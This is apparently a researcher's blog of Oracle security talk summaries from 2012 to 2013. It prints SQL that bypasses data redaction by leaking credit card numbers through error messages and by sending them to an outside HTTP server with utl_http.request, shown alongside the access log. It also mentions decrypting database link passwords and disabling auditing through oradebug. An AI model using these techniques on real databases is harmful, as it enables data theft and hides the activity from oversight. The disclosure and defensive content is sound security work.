November 22nd, 2013
I just uploaded my DOAG 2013 presentation “Best of Oracle Security 2013“.
This presentation shows how to bypass Oracle Data Redaction, become DBA using CREATE ANY INDEX, Hide information from Oracle Auding using VPD and more…
SQL> select * from scott.credit_card where 1=ordsys.ord_dicom.getmappingxpath((card_id),user,user);
ERROR at line 1:
ORA-53044: invalid tag: 1234-1234-1234-1234
ORA-06512: at “ORDSYS.ORDERROR”, line 5
ORA-06512: at “ORDSYS.ORD_DICOM_ADMIN_PRV”, line 1394
ORA-06512: at “ORDSYS.ORD_DICOM_ADMIN_PRV”, line 479
ORA-06512: at “ORDSYS.ORD_DICOM_ADMIN_PRV”, line 8232
ORA-06512: at “ORDSYS.ORD_DICOM”, line 756
ORA-06512: at line 1
select * from credit_card where 1=length(utl_http.request(‘http://192.168.2.102:8080/’||card_id));
==> bypassing the obfuscation because the utl_http.request is located in the where clause
——– output from access.log ————
192.168.2.101 – - [13/Sep/2013:15:19:20 Central Europe Daylight Time] “GET /1234-1234-1234-1234 HTTP/1.1″ 404 35 – -
192.168.2.101 – - [13/Sep/2013:15:19:20 Central Europe Daylight Time] “GET /5678-5678-5678-5678 HTTP/1.1″ 404 35 – -
——– output from access.log ————
Oktober 2nd, 2013
At Derbycon 3.0, László Tóth and Ferenc Spala gave a a new presentation “What’s common in Oracle and Samsung? They tried to think differently… ” (Video). The main focus of the presentation was the Samsung encryption and a new framework called sandy but there was also a small Oracle part.
Laszlo and Ferenc showed how to decrypt Oracle database links in Oracle 184.108.40.206 and Oracle 220.127.116.11 using a small utility called “oradecrlink.py”. In previous versions Oracle used DES to encrypt/decrypt database links. These database link passwords start with “05″ (Oracle’s indicator for DES).
September 13th, 2013
2 days ago I gave a presentation “Oracle 12c from the attackers perspective” at the DOAG SIG Security. I learned some interesting things, especially that a fix for the Oracle oradebug “disable auditing” problem is available since 9 months.
Oradebug allows to run OS commands and to enable/disable Oracle SYSDBA and normal auditing on the fly without leaving traces in the audit log. The fix for this problem is available in Oracle 18.104.22.168/22.214.171.124 and was backported to 126.96.36.199 using the patches 15805002, 15808245, 16177780.
By default the setting is not enabled in Oracle 188.8.131.52/12.1..0.1.
The undocumented parameter _fifteenth_spare_parameter (Oracle Description: fifteenth spare parameter – integer – Yeah, really useful) can now disable or limit the oradebug functionality. I could not find any information about this parameter on google or my oracle support.
—— extract from the read me.txt of the patch file——————
## _fifteenth_spare_parameter can be set to “all”, “restricted” or “none”
## “all” disables execution of all oradebug commands, “restricted” disables
## execution of restricted oradebug commands, “none” (default) allows execution
## of oradebug commands.
—— extract from the read me.txt ——————
November 22nd, 2012
Yesterday I gave a presentation ”Best of Oracle Security 2012” at the DOAG 2012 conference in Nürnberg.
November 2nd, 2012
I just uploaded my talk Hashdays 2012 ”Self-Defending Databases” to the Red-Database-Security website. The talk explains how to detect SQL Injection attacks in databases (Oracle/MSSQL/MySQL) and how to react in case of a SQL Injection (e.g. done with Pangolin, Havij or Netsparker).
Initially the idea covered only Oracle and MSSQL but Xavier Mertens extend the concept to MySQL (MySQL Attacks Self-Detection) after he saw my presentation at the Hashdays Management Session.